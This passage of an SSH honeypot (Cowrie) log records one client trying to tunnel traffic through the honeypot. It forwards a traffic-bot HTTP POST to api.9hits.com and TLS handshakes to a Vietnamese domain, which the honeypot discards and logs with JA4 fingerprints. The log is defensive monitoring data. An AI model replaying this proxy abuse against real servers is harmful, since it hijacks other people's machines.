deflate\\r\\n\\r\\n_=JGklZmVHK1ZaWl5ZMUlFZA%3D%3DMhVFEb9v6qB1FcnUiyEnOnnfIyIynGV8eHl0tfqUXDZtZYHxHVWULK6EVEFNWC05WQJ9sjSBGwJ%2BbzSNOw%2BeY2fJANKqu0OkXK2jvTe%2ByjGX%2F3lpJB4mzq4lFGSa481kBiwuuwkVeuvGhlyvyKTmwEu8KNohB95aT%2Fg1cddzGEHUxLDqvcSINX5FIWElaKVj4WEOVdYmrqOSGcv6cUVj1Fn8ls0qO18Z7MBrMtqjhpRPJx3jGLjlM%2BF5dVbsa3qyjy%2BgbFMIx1PH7i2d7vSxibpKKvh9PLLOPoRMCd%2Fd0kAZyrqVauwcjyojeBfOvPEn%2BQgpLCvnBZSxkDYrR%2FAsuVUnah94KrR4hfZ%2F063qUbjh%2FZ5NtLAljH5i%2BXtx%2Fj%2B2h2C76gn7T8k7WCTpNsA9Fr8xBdqN66sFxYeeQRTt6t7x8Ww1y1Q296S%2BZztuVpvYik2Y4pkmRBUngxRFqzmu%2FnebRt4r0%2FOtAxeMK5ytC5uUwGy9ElHa%2Bs1%2BQKSbFjuZ99QhcSoaf9W0yaMmr0w8vrlLkOKOEHoLYQr65IjEsBRUSVMX4Bib9bwzpI4QMyRl1y2Vehc8yvTamqtnpJnKToyLl%2FvlqlSvIsNtuI42iQiOH6TE16yHhY%2FxZeE7CzJv4E3VgqhWz2rbOsUIdTZTZ5qm%2FU8no%2BDyzgCQ0GyiIONyoJFsXZU8YRYheWMk%2B9h8c2St3Ajl2%2BHV3X8Nc7VdCw09AVCj8toQi6i3uSrW2e3qj3bshyxSnCXbX42AaUw0CnkgTA005xhkLCsvmGrMbC%2FxQ2agb7OPaxcVawoFlqHTQuQyZWK%2FhdYML9Aptb%2Fmb4aUBtpsuOyXU%2FhPBszA1Ga9nofD%2FL8dAca%2Bc0scoVeW1KH8N19Tt%2FEdiKTSzZK4JWdloHXLQoYFlXH5gPRlXJbLewCj2T7HgRnQn9xA8FaS%2FcF5g5CNpL7j%2F4vz4Wf0CEDegOwsmv5eZjITzIOgm60QhXQ5Q4AR1GEbo7W639CA0s9yWrJSuJUIPi%2B4ii4y5tSp7xNFS5qgDrKVmZG3QX57y5lb3jHDn9KCy0Qa%2F%2F0%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; Vankyo_S10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 OPR/77.0.4054.90\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JGklZmVHK1ZaWl5ZMUlFZA%3D%3DMhVFEb9v6qB1FcnUiyEnOnnfIyIynGV8eHl0tfqUXDZtZYHxHVWULK6EVEFNWC05WQJ9sjSBGwJ%2BbzSNOw%2BeY2fJANKqu0OkXK2jvTe%2ByjGX%2F3lpJB4mzq4lFGSa481kBiwuuwkVeuvGhlyvyKTmwEu8KNohB95aT%2Fg1cddzGEHUxLDqvcSINX5FIWElaKVj4WEOVdYmrqOSGcv6cUVj1Fn8ls0qO18Z7MBrMtqjhpRPJx3jGLjlM%2BF5dVbsa3qyjy%2BgbFMIx1PH7i2d7vSxibpKKvh9PLLOPoRMCd%2Fd0kAZyrqVauwcjyojeBfOvPEn%2BQgpLCvnBZSxkDYrR%2FAsuVUnah94KrR4hfZ%2F063qUbjh%2FZ5NtLAljH5i%2BXtx%2Fj%2B2h2C76gn7T8k7WCTpNsA9Fr8xBdqN66sFxYeeQRTt6t7x8Ww1y1Q296S%2BZztuVpvYik2Y4pkmRBUngxRFqzmu%2FnebRt4r0%2FOtAxeMK5ytC5uUwGy9ElHa%2Bs1%2BQKSbFjuZ99QhcSoaf9W0yaMmr0w8vrlLkOKOEHoLYQr65IjEsBRUSVMX4Bib9bwzpI4QMyRl1y2Vehc8yvTamqtnpJnKToyLl%2FvlqlSvIsNtuI42iQiOH6TE16yHhY%2FxZeE7CzJv4E3VgqhWz2rbOsUIdTZTZ5qm%2FU8no%2BDyzgCQ0GyiIONyoJFsXZU8YRYheWMk%2B9h8c2St3Ajl2%2BHV3X8Nc7VdCw09AVCj8toQi6i3uSrW2e3qj3bshyxSnCXbX42AaUw0CnkgTA005xhkLCsvmGrMbC%2FxQ2agb7OPaxcVawoFlqHTQuQyZWK%2FhdYML9Aptb%2Fmb4aUBtpsuOyXU%2FhPBszA1Ga9nofD%2FL8dAca%2Bc0scoVeW1KH8N19Tt%2FEdiKTSzZK4JWdloHXLQoYFlXH5gPRlXJbLewCj2T7HgRnQn9xA8FaS%2FcF5g5CNpL7j%2F4vz4Wf0CEDegOwsmv5eZjITzIOgm60QhXQ5Q4AR1GEbo7W639CA0s9yWrJSuJUIPi%2B4ii4y5tSp7xNFS5qgDrKVmZG3QX57y5lb3jHDn9KCy0Qa%2F%2F0%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:28.385408Z","src_ip":"23.175.50.47","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:28.391271Z","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:28.457761Z","src_ip":"23.175.50.47","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03, \\x15\\xc3\\x93\\x92\\x04\\xf8\\x07\\xe4hB\\x99j\\x95\\xa1D\\x16\\xf3ZmI\\xe8h\\x87P\\xc4\\xa6_\\x87Iu VB\\xf0\\xbd-\\x8c\\xd9/\\x12?\\xeeQ\\xc6f\\x1c\\xdd\\xa0a\\xa8[\\x97\\xd1\\xf17EU0:\\x1b%\\x83\\x07\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x15=\\x88\\x8a\\xbc\\xc4\\x9e$\\xdd,\\x7fB\\xd5b\\x89W\\x1eW\\xfa\\x0b\\x99Z\\x14\\xd0\\xbd\\xc1!\\xda\\x9a\\xd45,\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03, \\x15\\xc3\\x93\\x92\\x04\\xf8\\x07\\xe4hB\\x99j\\x95\\xa1D\\x16\\xf3ZmI\\xe8h\\x87P\\xc4\\xa6_\\x87Iu VB\\xf0\\xbd-\\x8c\\xd9/\\x12?\\xeeQ\\xc6f\\x1c\\xdd\\xa0a\\xa8[\\x97\\xd1\\xf17EU0:\\x1b%\\x83\\x07\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x15=\\x88\\x8a\\xbc\\xc4\\x9e$\\xdd,\\x7fB\\xd5b\\x89W\\x1eW\\xfa\\x0b\\x99Z\\x14\\xd0\\xbd\\xc1!\\xda\\x9a\\xd45,\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:28.462721Z","src_ip":"23.175.50.47","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:28.592419Z","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:28.596856Z","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:28.653657Z","src_ip":"23.175.50.47","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc3\\xa2!\\xaa\\x87\\xd86\\x8bz,\\xa9\\xab\\xff\\xc7\\x85\\xfdg7JU\\xf2\\xe2\\x07\\xe9\\xf07\\xcb\\xbb\\x07\\x12Lc \\xdc\\x01\\xa4\\x9c\"\\xc9g\\x10\\xcb\\x84\\x84\\xad?:X\\xa4\\xfb\\x91\\x1d\\x05\\x04\\x10\\xa5\\x9d\\xaa\\xf1\\xe7\\x00\\xc8*\\xf0$\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x02\\xc2\\xeaSI\\xf53\\x89VA\\xc8\\xf0\\x90\\xbd[\\xab:j\\x95\\xa6#\\x0f\\xa58\\xcf\\x1d\\xc9\\xab\\xc2rX\\x18\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc3\\xa2!\\xaa\\x87\\xd86\\x8bz,\\xa9\\xab\\xff\\xc7\\x85\\xfdg7JU\\xf2\\xe2\\x07\\xe9\\xf07\\xcb\\xbb\\x07\\x12Lc \\xdc\\x01\\xa4\\x9c\"\\xc9g\\x10\\xcb\\x84\\x84\\xad?:X\\xa4\\xfb\\x91\\x1d\\x05\\x04\\x10\\xa5\\x9d\\xaa\\xf1\\xe7\\x00\\xc8*\\xf0$\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x02\\xc2\\xeaSI\\xf53\\x89VA\\xc8\\xf0\\x90\\xbd[\\xab:j\\x95\\xa6#\\x0f\\xa58\\xcf\\x1d\\xc9\\xab\\xc2rX\\x18\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:28.657613Z","src_ip":"23.175.50.47","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:28.663660Z","src_ip":"23.175.50.47","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03AJ`9\\x16\\xdf\\x895\\x8dS\\xafXo\\xbf\\x9b\\x11\\xb1\\x9f\\xc0\\x92\\xa7\\x9c\\xa9QcR,\\xc4\\xf0\\xbf~Z 0]\\xcf+\\x80S\\x96]\\xa1\\xd2\\xff\\x81\\x16\\x97m\\x7f\\xe4\\x9b\\xbf\\xa1]\\'\\x9e\\xc4\\x0cvo\\xb4\\xbe\\xb9\\x19\\xbf\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 ;\\xe2\\x0fP\\xacc\\xe4\\xd2i\\xf5\\tCF\\x98\\xaf\\xe5\\x1b=Ssl\\xd0\\xe9\\xa0\\xa8\\x1fg\\xc8\\xaf\\xd5\\xcbS\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03AJ`9\\x16\\xdf\\x895\\x8dS\\xafXo\\xbf\\x9b\\x11\\xb1\\x9f\\xc0\\x92\\xa7\\x9c\\xa9QcR,\\xc4\\xf0\\xbf~Z 0]\\xcf+\\x80S\\x96]\\xa1\\xd2\\xff\\x81\\x16\\x97m\\x7f\\xe4\\x9b\\xbf\\xa1]\\'\\x9e\\xc4\\x0cvo\\xb4\\xbe\\xb9\\x19\\xbf\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 